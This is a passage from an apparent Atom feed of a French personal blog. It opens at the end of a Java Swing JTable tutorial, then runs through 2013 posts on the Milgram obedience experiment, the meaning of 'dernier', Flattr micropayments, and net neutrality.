&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;JComboBox&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;comboBox&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;JComboBox&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;comboBox&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Snowboarding&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;comboBox&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Rowing&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;comboBox&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Chasing toddlers&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;comboBox&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Speed reading&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;comboBox&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Teaching high school&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;comboBox&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;None&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;sportColumn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setCellEditor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DefaultCellEditor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;comboBox&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Stocker ses données autrement&lt;/h3&gt;
&lt;p&gt;Si je ne désire pas stocker mes données dans un tableau à deux dimensions (ou un &lt;code&gt;Vector&lt;/code&gt;), je dois choisir mon conteneur. Dès que c&amp;rsquo;est fait, l&amp;rsquo;écriture des méthodes suivantes suffit.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;getValueAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;col&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;getColumnCount&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;getRowCount&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Trier les colonnes&lt;/h3&gt;
&lt;p&gt;Par défaut les colonnes ne peuvent être triées. Pour l&amp;rsquo;autoriser, positionner la propriété liée &lt;code&gt;AutoCreateRowSorter&lt;/code&gt; à vrai permet d&amp;rsquo;utiliser un tri par défaut… c&amp;rsquo;est à dire basé sur le &lt;em&gt;comparator&lt;/em&gt; de la classe &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setAutoCreateRowSorter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour rappel, lorsque l&amp;rsquo;on trie des colonnes, c&amp;rsquo;est bien la vue qui est triée. Le modèle sous-jacent reste inchangé. Accéder aux données implique une «translation» comme dit plus haut.&lt;/p&gt;
&lt;h3&gt;Imprimer&lt;/h3&gt;
&lt;p&gt;Pour imprimer la table, un appel à la méthode &lt;code&gt;print()&lt;/code&gt; fait le boulot.&lt;/p&gt;
&lt;h3&gt;Points non abordés&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Dans la suite du tri des données, la possibilité de les &lt;strong&gt;filtrer&lt;/strong&gt; est également donnée.&lt;/li&gt;
&lt;li&gt;Comment définir son propre éditeur de cellules&lt;/li&gt;
&lt;li&gt;La table est capable d&amp;rsquo;écouter les modifications des données&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Enjoy !&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;h3&gt;Liens et crédits&lt;/h3&gt;
&lt;p&gt;&lt;a href="http://docs.oracle.com/javase/tutorial/uiswing/components/table.html"&gt;How to use Tables (Oracle)&lt;/a&gt;. Les exemples proviennent pour la plupart du tuto de Oracle.&lt;br&gt;
&lt;em&gt;&lt;a href="http://bigredcurlyguy.deviantart.com/art/Java-The-Hut-309831504"&gt;Crédit photo, BigRedCurlyGuy&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;À lire aussi&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="2012-03-29-un-cafe-java-fort-ou-leger.html"&gt;Un café «Java»… fort ou léger ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2012-03-23-debuguer-son-code-sans-utiliser-ide.html"&gt;Débuguer son code sans utiliser d&amp;rsquo;IDE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2011-07-11-jdk7.html"&gt;Java 7 is out, quel est son lot de nouveautés ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2011-03-28-Utilisation-de-constantes-en-Java.html"&gt;Utilisation de constantes en Java&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2011-03-01-Unicode-et-flux-en-Java.html"&gt;Unicode et flux en Java&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2011-02-01-getText-versus-getPassword.html"&gt;getText versus getPassword&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2010-04-21-java-clone.html"&gt;Java et méthode clone&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Oracle semble privilégier d&amp;rsquo;hériter de AbstractTableModel.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;À ce stade, ça ne fonctionne pas « comme ça » chez moi. Je corrige dès que je (ou vous) trouvez quelque chose.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Le tableau passé en paramètre est modifié. Si ma source de données est une BD, il faudra répercuter le changement. C&amp;rsquo;est sans doute l&amp;rsquo;occasion de le faire.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Si l&amp;rsquo;on ne s&amp;rsquo;est pas arrangé pour que les cellules aient un type, c&amp;rsquo;est un tri par ordre alphabétique de &lt;em&gt;toString&lt;/em&gt; qui se fait.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Savoir dire non est-ce se rebeller ?</title><link href="http://blog.namok.be/2013-02-03-le-jeu-de-la-mort.html" rel="alternate"/><published>2013-02-03T00:00:00+01:00</published><updated>2013-02-03T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-02-03:/2013-02-03-le-jeu-de-la-mort.html</id><summary type="html">L'expérience de Milgram par le bias du jeu de la mort pose la question de la désobéissance</summary><content type="html">&lt;p&gt;~~Ce soir~~ mardi, c&amp;rsquo;était télévision instructive avec l&amp;rsquo;expérience de Milgram adaptée aux jeux télévisés. Cette expérience vise a évaluer le degré d&amp;rsquo;obéissance face à une autorité que l&amp;rsquo;on juge légitime et ceci, même lorsque les ordres posent des problèmes de conscience.&lt;/p&gt;
&lt;p&gt;&lt;img alt="obey.jpg" src="/images/obey.jpg" title="obey.jpg, fév. 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;expérience de Milgram est bien décrite chez &lt;a href="http://fr.wikipedia.org/wiki/Exp%C3%A9rience_de_Milgram"&gt;Wikipedia, expérience de Milgram&lt;/a&gt; et la variante de 2009 adaptée à la télévision l&amp;rsquo;est aussi chez &lt;a href="http://fr.wikipedia.org/wiki/Le_Jeu_de_la_mort_(Documentaire)"&gt;Wikipedia, Le jeu de la
mort&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;La question est de savoir si un individu va se soumettre à l&amp;rsquo;autorité de la télévision. L&amp;rsquo;autorité étant représentée par le présentateur. Le cobaye a comme seules pressions (loin d&amp;rsquo;être négligeables); l&amp;rsquo;aura du présentateur et la force du public. Le tout dans « l&amp;rsquo;emballage télé » auquel il n&amp;rsquo;est probablement pas habitué.&lt;/p&gt;
&lt;p&gt;Il n&amp;rsquo;y aura aucun impact s&amp;rsquo;il se rebelle. Pas d&amp;rsquo;enjeu financier par exemple car il vient pour tester un jeu et ne remportera ni ne perdra rien.&lt;/p&gt;
&lt;p&gt;Il est seul, il ne peut pas s&amp;rsquo;appuyer sur l&amp;rsquo;aide d&amp;rsquo;un groupe.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Quand c&amp;rsquo;est la télévision qui est l&amp;rsquo;autorité est-ce qu&amp;rsquo;il est (encore) plus difficile de dire non ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;« Dire non » signifie pouvoir écouter sa conscience et ne pas accomplir une action si on estime qu&amp;rsquo;elle va à l&amp;rsquo;encontre de nos principes.&lt;/p&gt;
&lt;p&gt;Un point que je voudrais soulever &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; concerne notre préparation, en tant qu&amp;rsquo;individu, à évoluer dans la société. Notre éducation est destinée à nous former, à faire de nous un citoyen et ce que j&amp;rsquo;observe parfois m&amp;rsquo;interpelle.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Suis-je habitué a exprimer mes sentiments et à oser dire non ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Si dans notre famille nous essayons &lt;strong&gt;d&amp;rsquo;écouter les sentiments de nos enfants en les encourageant à les exprimer&lt;/strong&gt;, c&amp;rsquo;est loin d&amp;rsquo;être une attitude répandue. J&amp;rsquo;entend plus souvent autour de moi &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; des phrases du style:&lt;/p&gt;
&lt;p&gt;— (Je sais que) tu n&amp;rsquo;as plus faim ! Arrête de manger.&lt;br&gt;
— Je sais ce qui est bon pour toi (je suis l&amp;rsquo;adulte, toi l&amp;rsquo;enfant).&lt;/p&gt;
&lt;p&gt;Plus tard, à l&amp;rsquo;école et / ou au travail, il est caractéristique comme il est important de &lt;strong&gt;rentrer dans le moule&lt;/strong&gt; &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;. Même s&amp;rsquo;il est vrai qu&amp;rsquo;il est plus facile de gérer un groupe où tout le monde marche dans le même sens, certaines pédagogies sont attentives à respecter le rythme de chacun. Il est tout à fait possible d&amp;rsquo;avancer dans une même direction en respectant les individualités. Ceci,
particulièrement en maternelle et en primaire ou l&amp;rsquo;enfant est au tout début de sa construction et où il est triste de lui apprendre qu&amp;rsquo;il ne peut pas avoir de ressenti excepté celui du groupe ou de l&amp;rsquo;autorité.&lt;/p&gt;
&lt;p&gt;La réflexion qui est à l&amp;rsquo;origine de ce post est la réaction d&amp;rsquo;un des cobayes de l&amp;rsquo;expérience qui est bien arrivé au bout et qui a donc infligé plus de 400V au « candidat ». À la sortie, quelque peu inquiet, il demande:&lt;/p&gt;
&lt;p&gt;— J&amp;rsquo;ai pas fait de bêtises, j&amp;rsquo;ai bien fait comme demandé.&lt;br&gt;
— Oui, tu as bien obéi &amp;hellip;&lt;/p&gt;
&lt;h5&gt;Liens&lt;/h5&gt;
&lt;p&gt;&lt;em&gt;&lt;a href="http://stekar.deviantart.com/art/Obey-the-Suit-199553880"&gt;Crédit photo SteKar&lt;/a&gt;&lt;/em&gt;&lt;br&gt;
&lt;a href="http://fr.wikipedia.org/wiki/Exp%C3%A9rience_de_Milgram"&gt;Wikipedia, expérience de Milgram&lt;/a&gt;&lt;br&gt;
&lt;a href="http://fr.wikipedia.org/wiki/Le_Jeu_de_la_mort_(Documentaire)"&gt;Wikipedia, Le jeu de la mort&lt;/a&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Le but de l&amp;rsquo;article n&amp;rsquo;étant pas de faire tout le débriefing de
l&amp;rsquo;expérience. L&amp;rsquo;analyse faites dans l&amp;rsquo;émission est très complète et
très intéressante&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Pas chez les amis qui me lisent évidemment ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Attention, je ne prône absolument pas l&amp;rsquo;anarchie et le non respect de
l&amp;rsquo;autre mais si je respecte l&amp;rsquo;autre, je me respecte également.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Le sens du mot dernier</title><link href="http://blog.namok.be/2013-01-31-le-sens-du-mot-dernier.html" rel="alternate"/><published>2013-01-31T00:00:00+01:00</published><updated>2013-01-31T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-01-31:/2013-01-31-le-sens-du-mot-dernier.html</id><summary type="html">Le sens du mot dernier</summary><content type="html">&lt;p&gt;— Je peux encore avoir un bonbon ? Le &lt;strong&gt;dernier&lt;/strong&gt; alors.&lt;br&gt;
— C&amp;rsquo;est la &lt;strong&gt;dernière&lt;/strong&gt; fois que je te le dis.&lt;br&gt;
— &lt;strong&gt;Dernière&lt;/strong&gt; minute avant de remettre sa copie !&lt;br&gt;
— Pit ! Un &lt;strong&gt;dernier&lt;/strong&gt; verre ?&lt;br&gt;
— On n&amp;rsquo;a pas été bien reçu, c&amp;rsquo;est la &lt;strong&gt;dernière&lt;/strong&gt; fois qu&amp;rsquo;on ira là.&lt;br&gt;
— Je veux bien vous laisser une &lt;strong&gt;dernière&lt;/strong&gt; chance.&lt;br&gt;
— Mmmh, je suis arrivé le &lt;strong&gt;dernier&lt;/strong&gt;. Désolé.&lt;br&gt;
— Allez, &lt;strong&gt;dernier&lt;/strong&gt; jour de la semaine et puis, c&amp;rsquo;est WE&lt;/p&gt;
&lt;p&gt;Et un jour tu es convié à un &lt;em&gt;&lt;strong&gt;dernier&lt;/strong&gt; au revoir&lt;/em&gt;… et tu comprends brutalement le sens du mot « dernier ».&lt;/p&gt;</content></entry><entry><title>Pourquoi (me) flattrer ?</title><link href="http://blog.namok.be/2013-01-30-pourquoi-me-flattrer.html" rel="alternate"/><published>2013-01-30T00:00:00+01:00</published><updated>2013-01-30T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-01-30:/2013-01-30-pourquoi-me-flattrer.html</id><summary type="html">Pourquoi (me) flattrer ?</summary><content type="html">&lt;p&gt;&lt;img alt="dollars_by_meaxculpa57-d3hjjmd.jpg" src="/images/dollars_by_meaxculpa57-d3hjjmd.jpg" title="dollars_by_meaxculpa57-d3hjjmd.jpg, janv. 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Ploum proposait de &lt;a href="http://ploum.net/post/si-vous-testiez-le-web-payant"&gt;payer pour le web en 2013&lt;/a&gt;. Le titre est volontairement accrocheur et destiné à bousculer un peu cette idée que tout est gratuit sur internet. En fait tout semble gratuit et beaucoup de sites vivant de la pub nous abrutissent. Je sais que &lt;a href="http://adblockplus.org/"&gt;Adblock&lt;/a&gt; fait un très beau boulot (il faudrait d&amp;rsquo;ailleurs penser à &lt;a href="https://addons.mozilla.org/fr/firefox/addon/adblock-plus/contribute/roadblock/"&gt;rémunérer les codeurs&lt;/a&gt;) mais certains sites commencent à me dire que c&amp;rsquo;est mal d&amp;rsquo;utiliser un bloqueur de pub car c&amp;rsquo;est la seule rémunération qu&amp;rsquo;ils ont &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Si vous êtes comme moi, vous préférez un site sobre &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; plutôt qu&amp;rsquo;un site bling bling avec plusieurs encarts de pub. Même si je pense ne pas les voir, mon subconscient s&amp;rsquo;en charge très bien.&lt;/p&gt;
&lt;p&gt;— Quelqu&amp;rsquo;un veut un Coca-Cola ?&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;idée, la solution, en tout cas pour moi, c&amp;rsquo;est le micropaiement.  Cependant, si l&amp;rsquo;on n&amp;rsquo;est pas obligé de payer, on ne le fera pas… et l&amp;rsquo;on tourne en rond. En fait ce qu&amp;rsquo;il faut savoir avec le micropaiement (Flattr pour ne pas le citer), c&amp;rsquo;est que &lt;strong&gt;ça ne vous coûte rien&lt;/strong&gt; !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;À chaque fois que vous flattrez quelqu&amp;rsquo;un, vous ne déboursez pas un euro-cent.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Vous ne payez le montant que vous avez choisi que pour la première personne que vous flattrez. Ce qu&amp;rsquo;il faut bien comprendre, si vous décidez de consacrer 2€ par mois à Flattr, c&amp;rsquo;est que vous ne les dépenserez que si vous flattrez &lt;strong&gt;un&lt;/strong&gt;
contenu sur le mois.&lt;/p&gt;
&lt;p&gt;Si vous ne flattrez personne, vous ne déboursez rien.&lt;/p&gt;
&lt;p&gt;Si vous avez flattré un premier article, n&amp;rsquo;hésitez plus et flattrez à tour de bras, vous faites plaisir aux flattrés et ne dépensez pas plus.&lt;/p&gt;
&lt;p&gt;Il n&amp;rsquo;y a donc plus aucune raison de ne pas (me) &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt; flattrer.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://ploum.net"&gt;Ploum&lt;/a&gt;&lt;br&gt;
&lt;a href="http://ploum.net/post/si-vous-testiez-le-web-payant"&gt;Ploum, Et si vous testiez le web payant&lt;/a&gt;&lt;br&gt;
&lt;a href="http://ploum.net/post/mais-qui-paie-la-publicite"&gt;Ploum, Mais qui paie la publicité ?&lt;/a&gt;&lt;br&gt;
&lt;a href="http://adblockplus.org/"&gt;Addblock&lt;/a&gt;&lt;br&gt;
&lt;a href="http://flattr.com"&gt;Flattr&lt;/a&gt;&lt;br&gt;
&lt;em&gt;&lt;a href="http://meaxculpa57.deviantart.com/art/dollars-210863893"&gt;Crédit photo, Meaxculpa57&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h5&gt;À lire aussi&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="2012-12-15-obligation-de-payer-ou-envie-de-flattrer.html"&gt;Obligation de payer ou envie de flattrer ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2012-02-06-le-droit-de-lire-et-l-envie-de-micropayer.html"&gt;Le droit de lire et l&amp;rsquo;envie de micropayer&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="2013-07-23-ce-besoin-de-reconnaissance.html"&gt;Ce besoin de reconnaissance&lt;/a&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;À ce sujet j&amp;rsquo;avais trouvé que Facebook était inutilisable si je laissais Adblock en fonction, j&amp;rsquo;ai du le désactiver.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Un site sans pub et publiant moins ne propose pas nécessairement du contenu médiocre. Au contraire, un passionné publiant en dehors de ses heures n&amp;rsquo;a pas d&amp;rsquo;obligation de publication. Quand je cherche une info sur le net je trouve autant mon bonheur sur un site connu et subsidié par la pub que sur le site d&amp;rsquo;un particulier.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Je me donne en exemple non pas pour avoir une rémunération ce n&amp;rsquo;est pas l&amp;rsquo;objectif et ne le sera jamais mais pour avoir une certaine &lt;em&gt;reconnaissance&lt;/em&gt; (Est-ce que quelqu&amp;rsquo;un aime ce que j&amp;rsquo;écris, est-ce que c&amp;rsquo;est utile pour certains). Je ne veux pas mettre un bouton « Like à la FB » et je n&amp;rsquo;ai pas (encore) trouvé un moyen de savoir si un article a été utile ou jugé intéressant. Aujourd&amp;rsquo;hui, je ne peux me baser que sur des stats de fréquentation pour voir si quelqu&amp;rsquo;un me lit… et c&amp;rsquo;est assez maigre !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Tweet and like, la première dose est toujours gratuite</title><link href="http://blog.namok.be/2013-01-29-tweet-and-like-la-premiere-dose-est-toujours-gratuite.html" rel="alternate"/><published>2013-01-29T00:00:00+01:00</published><updated>2013-01-29T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-01-29:/2013-01-29-tweet-and-like-la-premiere-dose-est-toujours-gratuite.html</id><summary type="html">Où ça parle de neutralité du web.</summary><content type="html">&lt;p&gt;&lt;img alt="hammer-honey-stick.jpg" src="/images/hammer-honey-stick.jpg" title="hammer-honey-stick.jpg, janv. 2013" width="100%"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;La neutralité du Net&lt;/strong&gt; ou la neutralité du réseau est un principe qui garantit l&amp;rsquo;égalité de traitement de tous les flux de données sur Internet. Ce principe exclut ainsi toute discrimination à l&amp;rsquo;égard de la source, de la destination ou du contenu de l&amp;rsquo;information transmise sur le réseau.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://fr.wikipedia.org/wiki/Neutralit%C3%A9_du_r%C3%A9seau"&gt;Source, Wikipedia&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;J&amp;rsquo;en parle peu et cependant, je suis pour la neutralité du web.  J&amp;rsquo;estime que ce n&amp;rsquo;est pas aux intervenants sur le réseau (les fournisseurs d&amp;rsquo;accès ou de services) de contrôler ce qui circule sur internet… un peu comme la poste qui ne lit pas nos courriers.&lt;/p&gt;
&lt;p&gt;Un pas plus loin, je trouve qu&amp;rsquo;il ne faut pas enfermer l&amp;rsquo;utilisateur dans un carcan. C&amp;rsquo;est pourquoi je suis contre le « only facebook » et je m&amp;rsquo;insurge lorsque des utilisateurs réduisent le web à &lt;a href="http://facebook.com"&gt;facebook&lt;/a&gt;. Internet est beaucoup plus vaste et chacun peut choisir ses outils. Chacun doit &lt;strong&gt;pouvoir continuer&lt;/strong&gt; à choisir ses outils.&lt;/p&gt;
&lt;p&gt;Alors lorsque je vois des propositions d&amp;rsquo;abonnement comme celle-là, j&amp;rsquo;ai peur !&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-tweet-mobistar-2.png" src="/images/screenshot-tweet-mobistar-2.png" title="screenshot-tweet-mobistar-2.png, janv. 2013"&gt;&lt;/p&gt;
&lt;p&gt;Déjà que les &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; plus jeunes n&amp;rsquo;ont qu&amp;rsquo;une connaissance parcellaire d&amp;rsquo;internet et des enjeux sous-jacents à son utilisation si on leur vend un &lt;strong&gt;réseau bridé&lt;/strong&gt;, un morceau de réseau qui s&amp;rsquo;arrête à Facebook et Twitter, ça fait encore plus peur &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;. J&amp;rsquo;ai bien lu que l&amp;rsquo;on pouvait accéder à du contenu extérieur à FB et Twitter mais ça entame le forfait. La meilleure utilisation donc, ce sont des &lt;em&gt;LOL&lt;/em&gt; sur les statuts des autres et des &lt;em&gt;Like&lt;/em&gt; sur des articles dont on a lu que l&amp;rsquo;introduction :-(&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-tweet-mobistar-1.png" src="/images/screenshot-tweet-mobistar-1.png" title="screenshot-tweet-mobistar-1.png"&gt;&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est un pas supplémentaire dans une volonté de rendre le peuple &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt; bête.&lt;br&gt;
&lt;em&gt;Du pain et des jeux.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://artimuses.be/post/2012/08/24/La-Neutralit%C3%A9-du-Net-O%C3%B9-cela-commence"&gt;Souquez les artimuses&lt;/a&gt;&lt;br&gt;
&lt;em&gt;&lt;a href="http://honey-stick.deviantart.com/art/we-re-friends-83206578"&gt;Crédit photo, honey-stick&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Certains jeunes et je pense aux plus jeunes, les adolescents qui n&amp;rsquo;ont fait que créer un compte FB.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
